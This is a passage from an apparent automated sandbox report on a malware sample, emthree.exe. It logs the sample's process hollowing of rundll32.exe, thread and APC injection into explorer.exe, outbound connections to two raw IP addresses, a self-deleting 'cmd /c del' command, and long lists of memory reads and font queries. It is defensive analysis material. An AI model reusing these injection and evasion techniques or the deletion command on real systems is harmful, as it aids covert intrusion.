Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F64496 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F64496 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F64496 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F64496 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F64496 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F64496 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F64496 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F64496 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EB849B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EC746D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EDAC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EDAC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EDAC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EDAC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EDAC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EDAC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EDAC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EDAC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EDAC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EDAC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EDAC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F3C450 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F3C450 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EDA44B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EDBC2C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F61C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F61C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F61C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F61C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F61C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F61C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F61C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F61C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F61C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F61C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F61C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F61C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F61C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F61C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F26C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F26C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F26C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F26C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F7740D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F7740D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F7740D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F58DF1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EBD5E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EBD5E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F6FDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F6FDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F6FDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F6FDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F26DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F26DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F26DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F26DC9 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F26DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F26DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04ED35A1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04ED1DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04ED1DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04ED1DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F705AC mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F705AC mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EA2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EA2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EA2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EA2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EA2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04ED2581 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04ED2581 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04ED2581 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04ED2581 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F62D82 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F62D82 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F62D82 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F62D82 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F62D82 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F62D82 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F62D82 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EDFD9B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EDFD9B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04ECC577 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04ECC577 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE3D43 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F23540 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F53D40 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EC7D50 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F78D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F2A537 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F6E539 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04ED4D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04ED4D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04ED4D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EAAD30 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EB3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EB3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EB3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EB3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EB3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EB3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EB3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EB3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EB3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EB3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EB3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EB3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EB3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EB76E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04ED16E0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F78ED6 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04ED36CC mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE8EC7 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F5FEC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F70EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F70EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F70EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F246A7 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F3FE87 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EB766D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04ECAE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04ECAE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04ECAE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04ECAE73 mov eax, dword ptr fs:[00000030h]

Source: C:\Users\user\Desktop\emthree.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\rundll32.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\emthree.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Network Connect: 23.27.109.19 80
Source: C:\Windows\explorer.exe	Network Connect: 184.154.50.243 80

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\emthree.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Users\user\Desktop\emthree.exe	Section loaded: unknown target: C:\Windows\SysWOW64\rundll32.exe protection: execute and read and write
Source: C:\Users\user\Desktop\emthree.exe	Section loaded: unknown target: C:\Windows\SysWOW64\rundll32.exe protection: execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write

Modifies the context of a thread in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\emthree.exe	Thread register set: target process: 3472
Source: C:\Windows\SysWOW64\rundll32.exe	Thread register set: target process: 3472

Queues an APC in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\emthree.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Sample uses process hollowing technique

Show sources

Source: C:\Users\user\Desktop\emthree.exe

Section unmapped: C:\Windows\SysWOW64\rundll32.exe base address: AC0000

Source: C:\Users\user\Desktop\emthree.exe	Process created: C:\Users\user\Desktop\emthree.exe {path}
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\emthree.exe'

Source: explorer.exe, 00000002.00000002.503348798.0000000005EA0000.00000004.00000001.sdmp, rundll32.exe, 00000006.00000002.490167747.0000000003730000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000002.00000000.242251394.0000000001640000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.490167747.0000000003730000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000002.00000000.242251394.0000000001640000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.490167747.0000000003730000.00000002.00000001.sdmp	Binary or memory string: SProgram Managerl
Source: explorer.exe, 00000002.00000002.488072734.0000000001128000.00000004.00000020.sdmp	Binary or memory string: ProgmanOMEa
Source: explorer.exe, 00000002.00000000.242251394.0000000001640000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.490167747.0000000003730000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd,
Source: explorer.exe, 00000002.00000000.242251394.0000000001640000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.490167747.0000000003730000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Users\user\Desktop\emthree.exe VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation
